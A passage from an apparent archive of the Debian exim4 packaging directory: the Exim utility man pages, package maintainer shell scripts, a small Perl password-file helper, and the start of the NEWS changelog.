see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exim_lock \- Mailbox maintenance .SH SYNOPSIS .B exim_lock .RI [ options ] mailbox-file .SH DESCRIPTION The .B exim_lock utility locks a mailbox file using the same algorithm as Exim. For a discussion of locking issues, see section 25.2. .B exim_lock can be used to prevent any modification of a mailbox by Exim or a user agent while investigating a problem. The utility requires the name of the file as its first argument. If the locking is successful, the second argument is run as a command (using C's \(lqsystem()\(rq function); if there is no second argument, the value of the SHELL environment variable is used; if this is unset or empty, /bin/sh is run. When the command finishes, the mailbox is unlocked and the utility ends. The following options are available: .TP .I \-fcntl Use \(lqfcntl()\(rq locking on the open mailbox. .TP .I \-interval This must be followed by a number, which is a number of seconds; it sets the interval to sleep between retries (default 3). .TP .I \-lockfile Create a lock file before opening the mailbox. .TP .I \-mbx Lock the mailbox using MBX rules. .TP .I \-q Suppress verification output. .TP .I \-retries This must be followed by a number; it sets the number of times to try to get the lock (default 10). .TP .I \-timeout This must be followed by a number, which is a number of seconds; it sets a timeout to be used with a blocking \(lqfcntl()\(rq lock. If it is not set (the default), a non-blocking call is used. .TP .I \-v Generate verbose output. If none of .I \-fcntl, \-lockfile or .I \-mbx are given, the default is to create a lock file and also use \(lqfcntl()\(rq locking on the mailbox, which is the same as .B Exim's default. The use of .I \-fcntl requires that the file be writable; the use of .I \-lockfile requires that the directory containing the file be writable. Locking by lock file does not last for ever; Exim assumes that a lock file is expired if it is more than 30 minutes old. The .I \-mbx option is mutually exclusive with .I \-fcntl. It causes a shared lock to be taken out on the open mailbox, and an exclusive lock on the file /tmp/.n.m where n and m are the device number and inode number of the mailbox file. When the locking is released, if an exclusive lock can be obtained for the mailbox, the file in /tmp is deleted. The default output contains verification of the locking that takes place. The .I \-v option causes some additional information to be given. The .I \-q option suppresses all output except error messages. .PP A command such as exim_lock /var/spool/mail/spqr runs an interactive shell while the file is locked, whereas exim_lock \-q /var/spool/mail/spqr < End runs a specific non-interactive sequence of commands while the file is locked, suppressing all verification output. A single command can be run by a command such as exim_lock \-q /var/spool/mail/spqr \ "cp /var/spool/mail/spqr /some/where" Note that if a command is supplied, it must be entirely contained within the second argument - hence the quotes. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/ .SH AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/update-exim4.conf.template.80000644000000000000000000000600712027557533016132 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH UPDATE-EXIM4.CONF.TEMPLATE 8 "Feb 27, 2005" EXIM4 .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME update\-exim4.conf.template \- Regenerate exim4 configuration file template. .SH SYNOPSIS .B update\-exim4.conf.template [\-h|\-\-help] [\-n|\-\-nobackup] [\-o|\-\-output file] [\-r|\-\-run] .SH OPTIONS .TP .I \-h|\-\-help Show short help message and exit .TP .I \-n|\-\-nobackup Overwrite existing file, instead of keeping it as /etc/exim4/exim4.conf.template.bak.random-number .TP .I \-o|\-\-output file Write output to file instead of /etc/exim4/exim4.conf.template. .TP .I \-r|\-\-run Actually do something. If this option is not specified .B update\-exim4.conf.template will exit immediately. This option was introduced because .B update\-exim4.conf.template overwrites configuration files. .SH DESCRIPTION The script .B update\-exim4.conf.template regenerates the main configuration file template .I /etc/exim4/exim4.conf.template from the configuration snippets in the .I /etc/exim4/conf.d directory tree. .PP This process will overwrite all local changes in .I /etc/exim4/exim4.conf.template and might be useful if there are local changes in the .I /etc/exim4/conf.d directory tree, for example by a new mail related package dropping its own configuration snippets in there. .B update\-exim4.conf.template ignores all files in the conf.d directory that have a filename which does not consist only of letters, numbers, underscores and hyphens ([:alnum:]_\-), similar to .B run\-parts(8). For easy interaction with packages extending Exim additionally /etc/exim4/conf.d/foo/bar.rul is used instead of /etc/exim4/conf.d/foo/bar if it exists! .SH ENVIRONMENT If .B CONFDIR is set .B update\-exim4.conf.template will search for the input files below $CONFDIR/conf.d instead of /etc/exim4/conf.d/ and will write the output to $CONFDIR/exim4.conf.template instead of to /etc/exim4/exim4.conf.template (unless overridden with \-o or \-\-output). .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim4 (8), /usr/share/doc/exim4\-base/ and for general notes and details about interaction with debconf /usr/share/doc/exim4\-base/README.Debian.gz .SH AUTHOR Marc Haber debian/manpages/update-exim4defaults.80000644000000000000000000001162312200230010015067 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH UPDATE-EXIM4DEFAULTS 8 "March 26, 2003" EXIM4 .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME update\-exim4defaults \- Manage exim4 daemon default file. .SH SYNOPSIS .B update\-exim4defaults .I [ \-\-qflags flags ] .I [ \-\-queuerunner combined|queueonly|separate|ppp|no|nodaemon ] .I [ \-\-queuetime time ] .I [ \-\-commonoptions options ] .I [ \-\-queuerunneroptions options ] .I [ \-\-smtplisteneroptions options ] .I [ \-\-remove\-common options ] .I [ \-\-remove\-queue options ] .I [ \-\-remove\-smtp options ] .I [ \-\-force|\-f ] .I [ \-\-help|\-h ] .I [ \-\-init ] .SH DESCRIPTION .B update\-exim4defaults allows one to set run parameters for the .B Exim daemon in .I /etc/default/exim4. Its main purpose is for interaction with packages enhancing .B Exim like virus-scanners that need to change the way the exim daemon is started. .PP .SH OPTIONS .TP .I \-\-help|\-h Print short usage instructions and exit. .TP .I \-\-qflags flags Set qflags, special flags given to exim directly after the \(lq\-q\(rq. See .B exim(8) for more information. .TP .I \-\-queuerunner combined|queueonly|separate|ppp|no|nodaemon Should the init script start one daemon that listens on the smtp port for incoming connections and runs the queue at regular intervals .I (combined) , or should it start two separate daemons, one listening on the smtp port, the other running the queue .I (separate) , or should the queue only be run by /etc/ppp/ip\-up.d/exim4 .I (ppp) , or shouldn't we run the queue at all, for example if you'd rather do this with .B cron ? Or should we only start a queuerunner .I (queueonly) or no daemon at all .I (nodaemon) ? .TP .I \-\-queuetime time In which intervals should we run the queue? This passed as option .I \-qtime to Exim, e.g. \-q30m or \-qq1h. .TP .I \-\-commonoptions options Options passed both to queue\-running and listening instances of Exim. .TP .I \-\-queuerunneroptions options Options only passed to the instance of Exim running the queue. .TP .I \-\-smtplisteneroptions options Options only passed to the instance of Exim listening on the SMTP port. .TP .I \-\-force|\-f Without this option .B update\-exim4defaults exits with an error if at least one of the options \-\-queuetime, \-\-commonoptions, \-\-queuerunneroptions or \-\-smtplisteneroptions is used and the corresponding value in /etc/default/exim4 is .I already set to a nonempty value. .TP .I \-\-remove\-common option Try to remove the given option from COMMONOPTIONS. .TP .I \-\-remove\-queue option Try to remove the given option from QUEUERUNNEROPTIONS. .TP .I \-\-remove\-smtp option Try to remove the given option from SMTPLISTENEROPTIONS. .PP The \-\-remove\-commands cannot be used at the same time as any of \-\-commonoptions, \-\-queuerunneroptions or \-\-smtplisteneroptions. The \-\-remove\-commands will additionally remove whitespace at the beginning and the end of the option and exchange multiple spaces wi a single one. .TP .I \-\-init create a default /etc/default/exim4 file and exit immediately. Unless .I \-\-force was also specified .B update\-exim4defaults exits (successfully) without doing anything if /etc/default/exim4 already exists. All other options are ignored. .SH EXIT STATUS .TP .I 0 change was successful or nothing needed to be done. .TP .I 1 generic error: wrong options, unreadable configuration file, etc. .TP .I 2 QUEUEINTERVAL was already set. .TP .I 4 COMMONOPTIONS was already set. .TP .I 8 QUEUERUNNEROPTIONS was already set. .TP .I 16 SMTPLISTENEROPTIONS was already set. .TP .I 32 QFLAGS was already set. .TP .I 64 \-\-remove\-something failed, i.e. the value of the option was not changed. .PP Exit codes 2 to 32 will be summed up, if more than one unsuccessful option was given. .SH FILES .TP .I /etc/default/exim4 The configuration file. .TP .I /etc/init.d/exim4 The Exim init\-script. .TP .I /etc/ppp/ip\-up.d/exim4 The queuerunner in this file also uses COMMONOPTIONS and QUEUERUNNEROPTIONS and does not run if QUEUERUNNER=no. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/ .SH AUTHOR Andreas Metzler debian/manpages/exinext.80000644000000000000000000000505512027557533012554 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXINEXT 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exinext \- Finding individual retry times .SH SYNOPSIS .B exinext .I address|message-id .SH DESCRIPTION A utility called .B exinext (mostly a Perl script) provides the ability to fish specific information out of the retry database. Given a mail domain (or a complete address), it looks up the hosts for that domain, and outputs any retry information for the hosts or for the domain. At present, the retry information is obtained by running .B exim_dumpdb (see below) and processing the output. For example: exinext piglet@milne.fict.example kanga.milne.fict.example:192.168.8.1 error 146: Connection refused first failed: 21-Feb-1996 14:57:34 last tried: 21-Feb-1996 14:57:34 next try at: 21-Feb-1996 15:02:34 roo.milne.fict.example:192.168.8.3 error 146: Connection refused first failed: 20-Jan-1996 13:12:08 last tried: 21-Feb-1996 11:42:03 next try at: 21-Feb-1996 19:42:03 past final cutoff time You can also give .B exinext a local part, without a domain, and it will give any retry information for that local part in your default domain. A message id can be used to obtain retry information pertaining to a specific message. This exists only when an attempt to deliver a message to a remote host suffers a message-specific error (see section 42.2). .B exinext is not particularly efficient, but then it isn't expected to be run very often. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/ .SH AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/manpages/eximon.80000644000000000000000000000333312027557533012364 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIMON 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME eximon \- Monitor Exim .SH SYNOPSIS .B eximon .SH DESCRIPTION The Exim monitor is an application which displays in an X window information about the state of .B Exim's queue and what .B Exim is doing. An admin user can perform certain operations on messages from this GUI interface; however all such facilities are also available from the command line, and indeed, the monitor itself makes use of the command line to perform any actions requested. .SH BUGS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH SEE ALSO .BR exim (8), /usr/share/doc/exim4\-base/. Eximon is documented extensivly in the .B specification of the exim mail transfer agent. .SH AUTHOR This manual page was stitched together from spec.txt by Andreas Metzler , for the Debian GNU/Linux system (but may be used by others). debian/exim4-localscan-plugin-config0000755000000000000000000000047612027557533014656 0ustar #!/bin/sh case "$1" in --localscan-apiversion) sed -rn 's/#define LOCAL_SCAN_ABI_VERSION_(MAJOR|MINOR) *([0-9]+).*/\2/p' \ /usr/include/exim4/local_scan.h \ | (read MAJOR; read MINOR; echo ${MAJOR}.${MINOR}) ;; *) echo Usage: $0 --localscan-apiversion ;; esac debian/source/0000755000000000000000000000000012200230010010442 5ustar debian/source/lintian-overrides0000644000000000000000000000036612200230010014030 0ustar # A Conflict is unnecessary. *-daemon-dbg depends on the # respective -daemon, and the daemon-packages conflict with each other. exim4 source: binaries-have-file-conflict exim4-daemon-heavy-dbg exim4-daemon-light-dbg usr/lib/debug/usr/sbin/exim4 debian/source/format0000644000000000000000000000001412027557533011705 0ustar 3.0 (quilt) debian/exim4.links0000644000000000000000000000005512027557533011267 0ustar usr/share/doc/exim4-base usr/share/doc/exim4 debian/exim4-config.postrm0000644000000000000000000000152512027557533012741 0ustar #!/bin/sh set -e if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi case "$1" in purge) dpkg-statoverride --remove /etc/exim4/passwd.client || true rm -f /etc/exim4/update-exim4.conf.conf rm -f /var/lib/exim4/config.autogenerated rm -f /etc/exim4/conf.d/main/03_exim4-config_neverusers \ /etc/exim4/conf.d/rewrite/30_exim4-config_email-addresses \ /etc/exim4/conf.d/rewrite/35_exim4-config_masquerade # remove empty directories in /etc/exim4 rmdir /etc/exim4/conf.d/auth /etc/exim4/conf.d/acl \ /etc/exim4/conf.d/transport /etc/exim4/conf.d/main \ /etc/exim4/conf.d/retry /etc/exim4/conf.d/rewrite \ /etc/exim4/conf.d/router /etc/exim4/conf.d \ /etc/exim4 /var/lib/exim4 2> /dev/null || true rm -f /etc/default/exim4 # remove user #deluser --quiet Debian-exim > /dev/null || true ;; esac #DEBHELPER# debian/exim-adduser0000755000000000000000000000176512027557533011525 0ustar #!/usr/bin/perl # Stitched together by Andreas Metzler, really too trivial to be copyrightable. use strict; use warnings; my $user; my $passwd; my $file; my $rand; if (@ARGV == 0) { $file="/etc/exim4/passwd"; } else { $file=$ARGV[0]; } open(PWDFILE,">>$file") || die("Couldn't append to file '$file': $!"); print "User: "; chop($user = ); print "Password: "; chop($passwd = ); $rand = join '', ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64, rand 64, rand 64]; print PWDFILE $user . ":" . crypt($passwd, q{$1$} . $rand . q{$}) . ":" . $passwd . "\n"; close(PWDFILE); __END__ =head1 NAME exim-adduser - Add username/password to exim password-file. =head1 USAGE exim-adduser [filename] exim-adduser prompts for username and password and adds username:crypted-password:cleartext-password to the given file, if no filename is given /etc/exim4/passwd is used. =head1 BUGS Probably many, this really is just example code. =head1 SEE ALSO /usr/share/doc/exim4-base/*, exim4(8) debian/script0000755000000000000000000000104712027557533010433 0ustar #!/bin/bash # install as /usr/share/bug/$package/script or /usr/share/bug/$package UE4CC="/etc/exim4/update-exim4.conf.conf" REDIR=">&3" if [ "$OUTPUT" = "all" ]; then REDIR="" fi if test -x /usr/sbin/exim4 ; then eval /usr/sbin/exim4 -bV $REDIR fi if [ "$OUTPUT" != "all" ]; then yesno "Include extended configuration information?" "yep" if [ "$REPLY" != "yep" ] ;then exit 0 fi fi if test -r $UE4CC ; then eval cat $UE4CC $REDIR fi if test -r /etc/mailname ; then eval echo -n 'mailname:' $REDIR eval cat /etc/mailname $REDIR fi debian/exim4-daemon-light.docs0000644000000000000000000000002312027557533013440 0ustar EDITME.exim4-light debian/exim4-dev.manpages0000644000000000000000000000004712027557533012517 0ustar debian/exim4-localscan-plugin-config.1 debian/exim4.install0000644000000000000000000000004212027557533011611 0ustar debian/script usr/share/bug/exim4 debian/EDITME.eximon.diff0000644000000000000000000000072012200230010012240 0ustar --- exim_monitor/EDITME 2012-05-18 05:04:36.000000000 +0200 +++ EDITME.eximon 2012-05-18 19:53:04.000000000 +0200 @@ -1,6 +1,7 @@ ################################################## # The Exim Monitor # ################################################## +# -*- makefile -*- # This is the template for the Exim monitor's main build-time configuration # file. It contains settings that are independent of any operating system. It debian/exim4-daemon-light.lintian-overrides0000644000000000000000000000010012200230010016105 0ustar exim4-daemon-light: setuid-binary usr/sbin/exim4 4755 root/root debian/exim4.config0000644000000000000000000000036012027557533011413 0ustar #!/bin/sh set -e . /usr/share/debconf/confmodule if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi db_version 2.0 if [ "reconfigure" = "$1" ]; then db_beginblock db_input low exim4/drec || [ "$?" = "30" ] db_go fi debian/exim4-config.postinst0000644000000000000000000002736212200230010013252 0ustar #!/bin/sh set -e export exim4postinstisrunning=true . /usr/share/debconf/confmodule if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi UE4CC="/etc/exim4/update-exim4.conf.conf" db_version 2.0 get_value() { db_get $1 code="$?" if [ "$code" -eq "0" ]; then : else echo "Error getting debconf answer $1: debconf code=$code" >&2 exit $code fi } write_header() { cat < $UE4CC # $UE4CC # # Edit this file and /etc/mailname by hand and execute update-exim4.conf # yourself or use 'dpkg-reconfigure exim4-config' # # Please note that this is _not_ a dpkg-conffile and that automatic changes # to this file might happen. The code handling this will honor your local # changes, so this is usually fine, but will break local schemes that mess # around with multiple versions of the file. # # update-exim4.conf uses this file to determine variable values to generate # exim configuration macros for the configuration file. # # Most settings found in here do have corresponding questions in the # Debconf configuration, but not all of them. # # This is a Debian specific file EOF } addrootalias() { # remove leading and ending whitespace, shrink multiple whitespace, separate # entries with commas poma="$(echo "$1" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e 's/[[:space:];][[:space:]]*/,/g')" if [ "none" != "$poma" ] && [ "" != "$poma" ]; then echo "root: ${poma}" >> /etc/aliases fi } #initialize /etc/aliases writealiases() { echo '# /etc/aliases' > /etc/aliases.tmp echo 'mailer-daemon: postmaster' >> /etc/aliases.tmp for i in postmaster nobody hostmaster usenet news webmaster www ftp abuse noc security ; do echo "${i}: root" done >> /etc/aliases.tmp mv /etc/aliases.tmp /etc/aliases } alias stripwhitespace="sed -e 's/^[[:blank:]]*//' -e 's/[[:blank:]]*$//'" # return success if md5sum matches file unmodified() { [ "$#" -eq 1 ] || return 1 [ -f "$1" ] || return 1 # first line, without the leading '# '. checksum_current="$(sed -n -e '1s/^# //' -e '1p;1q' "$1")" # md5sum over the rest of the file. # some versions of md5sum produce # '68b329da9893e34099c7d8ad5cb9c940 -' others don't add the dash. # '68b329da9893e34099c7d8ad5cb9c940' checksum_new="$(sed -n '2,$p' "$1" | md5sum | cut -d\ -f1)" if [ "${checksum_current}" = "${checksum_new}" ] ; then return 0 else return 1 fi } convert_to_long () { case "$1" in internet) echo -n "internet site; mail is sent and received directly using SMTP" ;; smarthost) echo -n "mail sent by smarthost; received via SMTP or fetchmail" ;; satellite) echo -n "mail sent by smarthost; no local mail" ;; local) echo -n "local delivery only; not on a network" ;; none) echo -n "no configuration at this time" ;; esac } convert_to_short () { case "$1" in "internet site; mail is sent and received directly using SMTP") echo -n "internet" ;; "mail sent by smarthost; received via SMTP or fetchmail") echo -n "smarthost" ;; "mail sent by smarthost; no local mail") echo -n "satellite" ;; "local delivery only; not on a network") echo -n "local" ;; "no configuration at this time") echo -n "none" ;; esac } convert_transport_to_long () { case "$1" in maildir_home) echo -n "Maildir format in home directory" ;; mail_spool) echo -n "mbox format in /var/mail/" ;; *) echo -n "locally customized" ;; esac } convert_transport_to_short () { case "$1" in "Maildir format in home directory") echo -n "maildir_home" ;; "mbox format in /var/mail/") echo -n "mail_spool" ;; *) echo -n "custom" ;; esac } # remove orphaned autogenerated conffile if unmodified. 4.20-2. if [ "$1" = "configure" ] && \ dpkg --compare-versions "$2" le-nl "4.20-1" ; then for i in /etc/exim4/conf.d/rewrite/30_exim4-config_email-addresses \ /etc/exim4/conf.d/rewrite/35_exim4-config_masquerade ; do if unmodified "$i"; then echo "Removing orphaned unmodified configfile $i" 1>&2 rm "$i" fi done fi if [ "$1" = "configure" ] && \ dpkg --compare-versions "$2" le-nl "4.20-2" ; then if unmodified "/etc/exim4/conf.d/main/03_exim4-config_neverusers"; then echo "Removing orphaned unmodified configfile /etc/exim4/conf.d/main/03_exim4-config_neverusers" 1>&2 rm "/etc/exim4/conf.d/main/03_exim4-config_neverusers" fi fi # Disable orphaned inetd-entries from exim (v3) caused by bugs #202670 # and #182206. if [ "$1" = "configure" ] &&\ [ -x /usr/sbin/update-inetd ] && [ ! -x /usr/sbin/exim ] && \ grep -E -q '^smtp[[:space:]]*stream[[:space:]]*tcp[[:space:]]*nowait[[:space:]]*mail[[:space:]]*/usr/sbin/+exim exim -bs' /etc/inetd.conf then update-inetd --comment-chars \#disabled\# \ --pattern '/usr/sbin/exim exim -bs' --disable smtp fi if [ "$1" = "configure" ] &&\ ! getent passwd Debian-exim > /dev/null ; then echo 'Adding system-user for exim (v4)' 1>&2 adduser --system --group --quiet --home /var/spool/exim4 \ --no-create-home --disabled-login --force-badname Debian-exim fi # fix permissions of /etc/exim4/passwd.client if [ "$1" = "configure" ] ; then if ! dpkg-statoverride --list /etc/exim4/passwd.client > /dev/null 2>&1 then dpkg-statoverride --update --add root Debian-exim 0640 \ /etc/exim4/passwd.client fi if dpkg --compare-versions "$2" le "4.30-1" ; then find /etc/exim4 -user mail \( -type f -or -type d \) -print |\ while read i ; do if ! dpkg-statoverride --list "$i" > /dev/null ; then chown Debian-exim "$i" fi done find /etc/exim4 -group mail \( -type f -or -type d \) -print |\ while read i ; do if ! dpkg-statoverride --list "$i" > /dev/null ; then chgrp Debian-exim "$i" fi done fi fi case "$1" in configure) # Configure Exim############################## ############################################## # valid config directives dc_directives="dc_eximconfig_configtype dc_other_hostnames dc_local_interfaces dc_readhost dc_relay_domains dc_minimaldns dc_relay_nets dc_smarthost CFILEMODE dc_use_split_config dc_hide_mailname dc_mailname_in_oh dc_localdelivery" # Generate config-file if it does not yet exist if [ ! -e $UE4CC ] ; then write_header for variable in ${dc_directives} ; do echo "${variable}=" done >> $UE4CC fi # If this is a fresh installation generate dummy files, which # will be overwritten by update-exim4.conf # if we add stuff later, we have to compare versions: # if [ -z "$2" ] || [ "$2" = "" ] || dpkg --compare-versions "$2" lt "4.14-0.4" ; then # for file in /etc/exim4/conf.d/main/03_exim4-config_neverusers ;do # if [ ! -f "$file" ] ; then # echo "# d41d8cd98f00b204e9800998ecf8427e" > "$file" # chmod 644 "$file" # fi # done #fi # generate defaultfile update-exim4defaults --init # source $UE4CC - needed for not # debconf-managed values in there. . $UE4CC # Substitute values from debconf db db_get exim4/dc_eximconfig_configtype || true dc_eximconfig_configtype="$(convert_to_short "$RET")" db_get exim4/dc_local_interfaces || true dc_local_interfaces="$(printf '%s\n' "$RET" | stripwhitespace)" db_get exim4/dc_other_hostnames || true dc_other_hostnames="$(printf '%s\n' "$RET" | stripwhitespace)" db_get exim4/dc_readhost || true dc_readhost="$(printf '%s\n' "$RET" | stripwhitespace)" db_get exim4/dc_relay_domains || true dc_relay_domains="$(printf '%s\n' "$RET" | stripwhitespace)" db_get exim4/dc_relay_nets || true dc_relay_nets="$(printf '%s\n' "$RET" | stripwhitespace)" db_get exim4/dc_smarthost || true dc_smarthost="$(printf '%s\n' "$RET" | stripwhitespace)" db_get exim4/dc_minimaldns || true dc_minimaldns="$(printf '%s\n' "$RET" | stripwhitespace)" db_get exim4/mailname || true mailname="$(printf '%s\n' "$RET" | stripwhitespace)" db_get exim4/use_split_config || true dc_use_split_config="$(printf '%s\n' "$RET" | stripwhitespace)" db_get exim4/hide_mailname || true dc_hide_mailname="$(printf '%s\n' "$RET" | stripwhitespace)" # overwrite dc_localdelivery with value stored in debconf db unless # it is set to something else than maildir_home or mail_spool. if [ "${dc_localdelivery}" = "" ] || [ "$(convert_transport_to_long ${dc_localdelivery})" != "locally customized" ] ; then db_get exim4/dc_localdelivery || true dc_localdelivery="$(convert_transport_to_short "$RET")" fi if [ -r /var/lib/exim4/addmailname2oh ] ; then # .config added mailname to other hostnames, 2nd run of config script # will have overwritten this change in debcond-db, therefore we need # to store this externally, too. . /var/lib/exim4/addmailname2oh rm -f /var/lib/exim4/addmailname2oh fi db_fget "exim4/dc_other_hostnames" mailname || true dc_mailname_in_oh="$RET" [ "${CFILEMODE}" = "" ] && CFILEMODE=644 db_get exim4/dc_postmaster dc_postmaster="$(printf '%s\n' "$RET" | stripwhitespace)" if [ ! -e /etc/aliases ] ; then writealiases fi if ! grep -q '^root:[[:space:]]*[[:alnum:]]' /etc/aliases && \ [ "${dc_postmaster}" != "none" ]; then addrootalias "${dc_postmaster}" fi ### write configuration to files # # add missing items for variable in ${dc_directives} ; do if ! grep -E -q "^[[:space:]]*${variable}=" $UE4CC ; then echo "${variable}=''" >> $UE4CC fi done # insert new values, remove outdated ones. # Use environment variables to communicate data to awk, to # avoid shell (or awk or sed) string expansion which may # expand escape sequences. Note that the variables named in # ${dc_directives} (but not the variable names themselves) may # contain escaped characters like \N. export dc_directives ${dc_directives} awk ' BEGIN { split( ENVIRON["dc_directives"], directives, "[ \t]" ); } { written = 0; for ( i in directives ) { regex = "^[ \t]*" directives[i] "="; if ( ( $0 ~ regex ) && ( ! written ) ) { # Add single quotes (\0x27) around the value. print directives[i] "=\x27" ENVIRON[directives[i]] "\x27"; written = 1; break; } } if ( ! written ) print $0; }' < ${UE4CC} > ${UE4CC}.tmp mv ${UE4CC}.tmp $UE4CC echo $mailname > /etc/mailname ### configuration files written ## if [ "${dc_eximconfig_configtype}" != "none" ]; then update-exim4.conf fi # If dpkg-reconfigure was used implement the changes by restarting # the daemon. if [ "${DEBCONF_RECONFIGURE}" = "1" ] ; then if [ -x /etc/init.d/exim4 ]; then # use restart instead of reload, as changing listening # interfaces cannot be done with HUP. db_stop if [ -n "$EX4DEBUG" ]; then netstat -tulpen ls -al /var/run/exim4/ cat /var/run/exim4/exim.pid pidof exim4 fi if [ "$dc_eximconfig_configtype" = "none" ]; then # we may have broken config here, ignore errors invoke-rc.d exim4 restart || true else # we must have working config here, honor errors invoke-rc.d exim4 restart fi if [ -n "$EX4DEBUG" ]; then netstat -tulpen ls -al /var/run/exim4/ cat /var/run/exim4/exim.pid pidof exim4 if pidof exim4; then echo >&2 "WARN: There are some exim4 processes still running after stopping exim" fi fi fi fi ;; esac # remove orphaned conffile if unmodified. 4.20-2. if [ "$1" = "configure" ] && \ dpkg --compare-versions "$2" le-nl "4.20-1" && \ [ -e /etc/exim4/email-addresses ] && \ [ "$(md5sum /etc/exim4/email-addresses | cut -d\ -f1)" = "6bea09fbb18e4676012105fa5fc726c6" ] then echo "Removing orphaned unmodified configfile /etc/exim4/email-addresses" 1>&2 rm /etc/exim4/email-addresses fi #DEBHELPER# debian/exim4-daemon-custom.install0000644000000000000000000000006012027557533014362 0ustar debian/script usr/share/bug/exim4-daemon-custom debian/exim4-config.NEWS0000644000000000000000000002711312671566661012201 0ustar exim4 (4.82-3ubuntu2.1) trusty-security; urgency=medium The security fix for CVE-2016-1531 now cleans the complete environment on startup including any subprocesses such as transports that call other programs. This change may break existing installations. Two new configuration options were introduced to change the new default behaviour, keep_environment and add_environment. The debian configuration adds the macros MAIN_KEEP_ENVIRONMENT and MAIN_ADD_ENVIRONMENT to easily set the options. -- Marc Deslauriers Mon, 14 Mar 2016 11:26:13 -0400 exim4 (4.68-1) unstable; urgency=low In order to fix #420217, the handling of incoming messages to system accounts has been changed once again. To allow system account mail addresses to be redirected via traditional /etc/aliases, system accounts are now processed later in the router chain. This has made it necessary to change the default behavior of the real- prefix. real-foo is now only accessible for locally generated messages, such as the error message generated by the userforward router. If you need the old behavior back, set the macro COND_LOCAL_SUBMITTER=true. As a side-effect, you can entirely switch off the real- processing by setting COND_LOCAL_SUBMITTER=false. -- Marc Haber Thu, 04 Oct 2007 22:34:01 +0200 exim4 (4.67-6) unstable; urgency=low acl_whitelist_local_deny was renamed to acl_local_deny_exceptions to avoid confusion. This means changes to ACLs, file names in /etc/exim4/conf.d/acl and the exception list file names themselves. CONFDIR/local_host_whitelist and CONFDIR/local_sender_whitelist have been renamed to CONFDIR/host_local_deny_exceptions and CONFDIR/sender_local_deny_exceptions. The old files will continue to be honored for a transition period. The old file conf.d/acl/20_exim4-config_whitelist_local_deny will get a .dpkg-bak suffix if it had local changes, and it will be removed if there were no local changes. In the case of local changes, you'll need to repeat these changes in the new file conf.d/acl/20_exim4-config_local_deny_exceptions. -- Marc Haber Wed, 05 Sep 2007 21:22:22 +0200 exim4 (4.67-5) unstable; urgency=low The macro generation in update-exim4.conf has been changed once more. update-exim4.conf now looks for the (non-commented!) definition of the exim configuration macro UPEX4CmacrosUPEX4C to an arbitrary, non-empty value, and inserts the generated macro definitions right after this line, without changing it. update-exim4.conf looks for commented UPEX4CmacrosUPEX4C (which used to be the place marker in earlier 4.67-x versions) and barfs if it finds them anywhere in /etc/exim4/exim4.conf.template or recursively /etc/exim4/conf.d. This check - as a feature - also includes files that would normally be excluded by update-exim4.conf, such as .dpkg-old and .dpkg-dist files. If you insist on having a commented UPEX4CmacrosUPEX4C in your exim configuration and 